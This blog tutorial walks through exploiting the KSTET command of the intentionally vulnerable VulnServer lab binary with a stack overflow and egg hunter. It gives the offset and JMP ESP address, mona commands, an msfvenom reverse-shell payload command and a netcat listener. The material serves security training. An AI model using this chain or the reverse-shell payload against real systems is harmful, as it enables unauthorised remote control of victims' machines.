Exploiting VulnServer - KSTET - Egg Hunting - Windows Binary Exploitation

Egg hunting in 32-bit Windows binary exploitation is a technique used to locate and exploit vulnerabilities in software running on 32-bit versions of the Windows operating system. we are going into exploit a vulnerable binary and gain a reverse shell/command execution by overflowing the stack and chaining addresses to execute our shellcode.  

Egg hunting typically involves the following steps, which are provided for educational purposes only:

  1. Identification of Vulnerability: The first step in egg hunting is identifying a vulnerability within the target software. This could be a buffer overflow, a format string vulnerability, or another type of programming error that can be exploited.
  2. Crash Replication: Once a vulnerability is identified, the attacker aims to replicate the crash or trigger the vulnerability to gain control over the program's execution flow.
  3. Egg Construction: In egg hunting, the attacker constructs a small shellcode payload referred to as the "egg." The purpose of the egg is to locate and execute a larger malicious payload, typically referred to as the "shellcode."
  4. Egg Hunting Routine: The egg hunting routine is designed to search the program's memory space for a specific marker that identifies the presence of the egg. The marker is a unique pattern or string chosen by the attacker.
  5. Execution of Shellcode: Once the egg hunting routine successfully locates the egg, it transfers control to the shellcode payload. The shellcode is designed to execute the attacker's desired actions, such as gaining remote access or taking control of the compromised system.

You can download the Vuln Server code/binary from  Github  here

# Fuzzing to Identity the offset 

The program broke at 100. so, we are going to generate 100 bytes pattern using pattern_create.rb msf module.

└─$ pattern_create.rb -l 100     

# Finding the offset

You will observe that EIP is overwritten with an address from our pattern. we can use that address of find the offset of EIP using MSF's pattern_offset.rb module. 

└─$ pattern_offset.rb -q 63413363
[*] Exact match at offset 70

# EIP Control 

Now that we know the pattern is 70, lets try to send "A"*70 + "B"*4 to check if we can overwrite EIP with our BBBB - \x42\x42\x42\x42 

You can see that, we are able to overwrite the buffer successfully 

# Finding JMP ESP Address 

- Run the 3rd script, EIP Control again and when the crash happens, we will look for JMP ESP Address using mona 
- Pick one address from the list of addresses presented by mona as our JUMP Address
- Check if the JMP Address is working properly or not

- Set a breakpoint on the JMP ESP address for analyzing the buffer and finding a new JMP Adderess to save shellcode 
- Restart the program --> right click --> go to --> 625011AF 
- hit "F2" to set a breakpoint 

- Send the payload and when it  reaching the breakpoint --> STEP into it 

- Scroll back to the start of A's and give it as a Jump Address - 
- in this example - we have 70 A's before our JMP Address - so, find out the instruction for finding JMP -70 bytes + /x90/x90
-you can do it using msf-nasm-shell 
└─$ msf-nasm_shell               
nasm > jmp $-70
00000000  EBB8              jmp short 0xffffffba
nasm > 

Update the code with next jump address 

# Bad Characters Check

You can generate all byte characters using Mona from immunity debugger using `!mona bytearray`
- this will create a file in the installation directory of immunity debugger 
- we are going to send 70 bytes at once as we have limited space
- it is recommended to remove \x00 from the byte chars - as its sure to break the flow of the program

Set a breakpoint at first jump and step into it and scroll up a bit and look for the bytes that you sent 

# EGG Hunting 

\x00 is the only bad char we found from validating all the 256 chars.
- Create a pattern of 1000 bytes using pattern create for SHELLCODE space.
- Create the pattern using `pattern_create.rb -l 1000`

- Set a breakpoint at JMP ESP and search for the msf pattern using mona
- `!mona findmsp`

"CTRL+G" go to that location --> 0x003e4afd  --> right click --> Follow in Dump. this does look like msf pattern

generate the egg hunter code using `!mona egg -t EGGS` ; you can use any keyword which is of 4 chars
- make sure there is no null byte in shellcode generated by mona

-Set a breakpoint at JMP ESP and send the payload again 
- look into the egghunter shellcode which is looking for the target double eggs keyword to find our shellcode address starting point "EGGSEGGS"


- Generate shellcode using msfvenom 

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f c -b '\x00' 


- Update the shellcode in the final exploit and run it, you should get reverse shell on your netcat session `nc -nvlp 443`

Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment